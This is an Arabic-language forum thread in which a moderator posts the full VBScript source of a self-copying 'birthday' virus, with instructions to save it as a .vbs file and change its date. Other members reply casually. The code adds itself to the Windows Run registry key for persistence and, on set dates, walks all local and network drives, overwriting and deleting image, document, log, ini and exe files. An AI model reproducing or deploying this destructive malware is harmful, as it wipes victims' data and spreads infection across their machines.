مرحباً بكم

أهلا وسهلاً بك من جديد
زائر

آخر زيارة لك مع شباب اكس لايف كانت

المواضيع الأخيرة

» كتاب تعليم SQLServer 2008
الأحد مارس 04, 2012 11:15 am من طرف where_true_love2002

» مرحباً بصديقتنا زهرة ياسمين
الأربعاء يناير 11, 2012 9:06 pm من طرف ST@R

» تحـيه لصدقيتنا الجديدة rafika
الثلاثاء يناير 10, 2012 3:04 pm من طرف Rasheed_L.F.E

» مرحباً بصديقنا الجديد "هاكونا مطاطا"
الثلاثاء يناير 10, 2012 3:03 pm من طرف Rasheed_L.F.E

» كل عام وانتم بخير وكل عام وانتِ حبيبتي
الثلاثاء نوفمبر 15, 2011 2:28 pm من طرف ST@R

» فيلم الحياه في يوم
الثلاثاء نوفمبر 15, 2011 2:01 pm من طرف ST@R

» أهلا بصديقتنا khloud
الخميس أكتوبر 20, 2011 9:29 am من طرف hade

» حشرة تجلب الملايين لمصر .. ممنوع قتلها
الخميس أكتوبر 20, 2011 9:24 am من طرف ST@R

» ماذا بعد ؟؟!!
الخميس سبتمبر 08, 2011 7:26 pm من طرف ST@R

» Join My Group
السبت أغسطس 13, 2011 9:32 am من طرف ST@R

استمع الى راديو صوت الغد FM

حمل صورك من هنا

File & pics upload

أفضل 10 أعضاء في هذا المنتدى

المتواجدون الآن ؟

ككل هناك 6 عُضو متصل حالياً :: 0 عضو مُسجل, 0 عُضو مُختفي و 6 زائر :: 1 روبوت الفهرسة في محركات البحث

لا أحد


[ مُعاينة اللائحة بأكملها ]


أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 59 بتاريخ الخميس مايو 24, 2012 5:40 pm


    فايروس مطيع جدا

    شاطر
    avatar
    Rasheed_L.F.E
    مشرف
    مشرف


    عدد المساهمات : 1249
    تاريخ التسجيل : 18/08/2009
    الموقع : أسكن في قلب الحبيب
    المزاج : Lover For Ever

    فايروس مطيع جدا

    مُساهمة من طرف Rasheed_L.F.E في الأحد نوفمبر 29, 2009 11:31 pm

    هذا الكود مرسل لي من احد الأصحاب وانا لم اجربه على اي جهاز
    ولكن تم وصفه لي على انه يملك امكانات تدميرية كبيرة

    الكود:


    rem - VBS/dlBD "DL BirthDay" Virus rem - Written by D.L. on November 10th, 2009 On Error Resume Next dim FSobj,winDir,sysDir,copySelf,newFile,rawFileData,h ackedFileData,fixData,dataFixed,newFileData,copySe lfComplete set FSobj=CreateObject("Scripting.FileSystemObject") set sysDir=FSobj.GetSpecialFolder(1) checkDate() function checkDate() if (day(Now)=31 and month(Now)=3)or(day(Now)=19 and month(Now)=12) then beginInfestation() displayMessage() else plantTrojanizedFile() end if end function function plantTrojanizedFile() set copySelf=FSobj.CreateTextFile(sysDir+"\sys-dlBD.vbs") copySelf.close set newFile=FSobj.OpenTextFile(WScript.ScriptFullname, 1) writeCopy() hackedFileData=replace(rawFileData,chr(42),chr(68) ) fixData=replace(hackedFileData,chr(37),chr(76)) dataFixed=replace(fixData,chr(124),chr(46)) newFileData=replace(dataFixed,chr(94),"""") set copySelfComplete=FSobj.OpenTextFile(sysDir+"\sys-dlBD.vbs",2) copySelfComplete.write newFileData copySelfComplete.close createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersion\Run\sysdlBD",sysDir&"\sys-dlBD.vbs" end function sub createRegKey(regKey,regVal) dim regEdit set regEdit=CreateObject("WScript.Shell") regEdit.RegWrite regKey,regVal end sub sub beginInfestation On Error Resume Next dim drive,machine,complete set machine=FSobj.Drives for each drive in machine if (drive.DriveType=2)or(drive.DriveType=3) then indexFolders(drive.Path&"\") end If next beginInfestation=complete end sub sub indexFolders(location) On Error Resume Next dim specs, file, subFol set specs=FSobj.GetFolder(location) set subFol=specs.SubFolders for each file in subFol spreadData(file.Path) indexFolders(file.Path) next end sub sub spreadData(location) On Error Resume Next dim folder,directory,file,generateCopy,appName,adExt,o rgMes,mesStageTwo,mesStageThree,finalMes,extName,c omplete set folder=FSobj.GetFolder(location) set directory=folder.Files orgMes="Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|" mesStageTwo=replace(orgMes,chr(42),chr(68)) mesStageThree=replace(mesStageTwo,chr(124),chr(46) ) finalMes=replace(mesStageThree,chr(37),chr(76)) for each file in directory extName=lcase(FSobj.GetExtensionName(file.Path)) complete=lcase(file.Name) if (extName="jpg")or(extName="gif")then set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) generateCopy.write finalMes generateCopy.Close appName=FSobj.GetBaseName(file.Path) set adExt=FSobj.GetFile(file.Path) adExt.copy(location&"\"&appName&".txt") FSobj.DeleteFile (file.Path) elseIf (extName="log")or(extName="ini") then set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) generateCopy.write finalMes generateCopy.Close appName=FSobj.GetBaseName(file.Path) set adExt=FSobj.GetFile(file.Path) adExt.copy(location&"\"&appName&".txt") FSobj.DeleteFile (file.Path) elseIf (extName="doc")or(extName="exe") then set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) generateCopy.write finalMes generateCopy.Close appName=FSobj.GetBaseName(file.Path) set adExt=FSobj.GetFile(file.Path) adExt.copy(location&"\"&appName&".txt") FSobj.DeleteFile (file.Path) end if next end sub function displayMessage() dim shell,messageFile set shell = CreateObject("WScript.Shell") set messageFile=FSobj.CreateTextFile(sysDir&"\dlBD-mes.bat") messageFile.close set FSobj=CreateObject("Scripting.FileSystemObject") set messageFile=FSobj.CreateTextFile(sysDir&"\dlBD-mes.bat") messageFile.WriteLine("@title Happy Birthday to me! :) - VBS/dlBD Virus") messageFile.WriteLine("@cls") messageFile.WriteLine("@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :(") messageFile.WriteLine("@echo.") messageFile.WriteLine("@pause") messageFile.close shell.Run(sysDir&"\dlBD-mes.bat") end function function writeCopy() rawFileData="rem - VBS/dlBD ^DL BirthDay^ Virus by *|%|" &vbcrlf& _ "On Error Resume Next" &vbcrlf& _ "dim FSobj,winDir,sysDir" &vbcrlf& _ "set FSobj=CreateObject(^Scripting|FileSystemObject^)" &vbcrlf& _ "set sysDir=FSobj|GetSpecialFolder(1)" &vbcrlf& _ "checkDate()" &vbcrlf& _ "function checkDate()" &vbcrlf& _ "if (day(Now)=31 and month(Now)=3)or(day(Now)=19 and month(Now)=12) then" &vbcrlf& _ "beginInfestation()" &vbcrlf& _ "displayMessage()" &vbcrlf& _ "end if" &vbcrlf& _ "end function" &vbcrlf& _ "sub beginInfestation" &vbcrlf& _ "On Error Resume Next " &vbcrlf& _ "dim drive,machine,complete" &vbcrlf& _ "set machine=FSobj|Drives " &vbcrlf& _ "for each drive in machine " &vbcrlf& _ "if (drive|DriveType=2)or(drive|DriveType=3) then" &vbcrlf& _ "indexFolders(drive|Path&^\^)" &vbcrlf& _ "end If" &vbcrlf& _ "next" &vbcrlf& _ "beginInfestation=complete" &vbcrlf& _ "end sub" &vbcrlf& _ "sub indexFolders(location)" &vbcrlf& _ "On Error Resume Next" &vbcrlf& _ "dim specs, file, subFol" &vbcrlf& _ "set specs=FSobj|GetFolder(location)" &vbcrlf& _ "set subFol=specs|SubFolders" &vbcrlf& _ "for each file in subFol" &vbcrlf& _ "spreadData(file|Path)" &vbcrlf& _ "indexFolders(file|Path)" &vbcrlf& _ "next" &vbcrlf& _ "end sub" &vbcrlf& _ "sub spreadData(location)" &vbcrlf& _ "On Error Resume Next" &vbcrlf& _ "dim folder,directory,file,generateCopy,appName,adExt,o rgMes,mesStageTwo,mesStageThree,finalMes,extName,c omplete" &vbcrlf& _ "set folder=FSobj|GetFolder(location)" &vbcrlf& _ "set directory=folder|Files" &vbcrlf& _ "finalMes=^Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|^" &vbcrlf& _ "for each file in directory" &vbcrlf& _ "extName=lcase(FSobj|GetExtensionName(file|Pat h))" &vbcrlf& _ "complete=lcase(file|Name)" &vbcrlf& _ "if (extName=^jpg^)or(extName=^gif^)then " &vbcrlf& _ "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ "generateCopy|write finalMes " &vbcrlf& _ "generateCopy|Close" &vbcrlf& _ "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _ "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ "FSobj|DeleteFile (file|Path)" &vbcrlf& _ "elseIf (extName=^log^)or(extName=^ini^) then" &vbcrlf& _ "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ "generateCopy|write finalMes" &vbcrlf& _ "generateCopy|Close" &vbcrlf& _ "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _ "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ "FSobj|DeleteFile (file|Path)" &vbcrlf& _ "elseIf (extName=^doc^)or(extName=^exe^) then" &vbcrlf& _ "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ "generateCopy|write finalMes" &vbcrlf& _ "generateCopy|Close" &vbcrlf& _ "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _ "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ "FSobj|DeleteFile (file|Path)" &vbcrlf& _ "end if" &vbcrlf& _ "next" &vbcrlf& _ "end sub" &vbcrlf& _ "function displayMessage()" &vbcrlf& _ "dim shell,messageFile" &vbcrlf& _ "set shell = CreateObject(^WScript|Shell^)" &vbcrlf& _ "set messageFile=FSobj|CreateTextFile(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ "messageFile|close" &vbcrlf& _ "set FSobj=CreateObject(^Scripting|FileSystemObject^)" &vbcrlf& _ "set messageFile=FSobj|CreateTextFile(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ "messageFile|WriteLine(^@troy_hiero@yahoo.com to me! :) - VBS/dlBD Virus - by *|%|^)" &vbcrlf& _ "messageFile|WriteLine(^@cls^)" &vbcrlf& _ "messageFile|WriteLine(^@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :(^)" &vbcrlf& _ "messageFile|WriteLine(^@echo|^)" &vbcrlf& _ "messageFile|WriteLine(^@pause^)" &vbcrlf& _ "messageFile|close" &vbcrlf& _ "shell|Run(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ "end function" end function

    افتح النوت باد وضع الكود بامتدادvbs مثلاELSAMORA.vbs

    انظرفوق فى الكود شيل التاريخ on November 10th, 2009
    وحط التاريخ اللى يناسبك


    avatar
    darKnight
    مشرف
    مشرف

    عدد المساهمات : 378
    تاريخ التسجيل : 11/08/2009
    المزاج : RELAX

    رد: فايروس مطيع جدا

    مُساهمة من طرف darKnight في الثلاثاء ديسمبر 01, 2009 3:42 pm

    تكرم عيونك يا صاحبي انا بجرب الفايـروس و بخبرك بالنتيجة

    lol!
    avatar
    Rasheed_L.F.E
    مشرف
    مشرف


    عدد المساهمات : 1249
    تاريخ التسجيل : 18/08/2009
    الموقع : أسكن في قلب الحبيب
    المزاج : Lover For Ever

    رد: فايروس مطيع جدا

    مُساهمة من طرف Rasheed_L.F.E في الثلاثاء ديسمبر 01, 2009 8:49 pm

    darKnight كتب:
    تكرم عيونك يا صاحبي انا بجرب الفايـروس و بخبرك بالنتيجة

    lol!










    ¤.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.¸¸.¤¤¸¸.·´¯`·.·.¸¸¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯ `·.¸ ¸.¤

    ..



    ..
    avatar
    ST@R
    مشرف
    مشرف

    عدد المساهمات : 566
    تاريخ التسجيل : 11/08/2009
    المزاج : غير متفائل

    رد: فايروس مطيع جدا

    مُساهمة من طرف ST@R في الثلاثاء ديسمبر 01, 2009 10:03 pm

    الله يجيرنا








    ¤.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.¸¸.¤¤¸¸.·´¯`·.·.¸¸¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯ `·.¸ ¸.¤

    أجْمَل مَا بِالْفَقْر ..! أَنَّه لَا يَجْلِب لَك أَصْدِقَاء ~ الْمَصْلَحَة!
    avatar
    Rasheed_L.F.E
    مشرف
    مشرف


    عدد المساهمات : 1249
    تاريخ التسجيل : 18/08/2009
    الموقع : أسكن في قلب الحبيب
    المزاج : Lover For Ever

    رد: فايروس مطيع جدا

    مُساهمة من طرف Rasheed_L.F.E في الثلاثاء ديسمبر 01, 2009 10:33 pm


    بسيطة st@r








    ¤.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.¸¸.¤¤¸¸.·´¯`·.·.¸¸¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯ `·.¸ ¸.¤

    ..



    ..

      الوقت/التاريخ الآن هو الأحد يناير 20, 2019 5:36 pm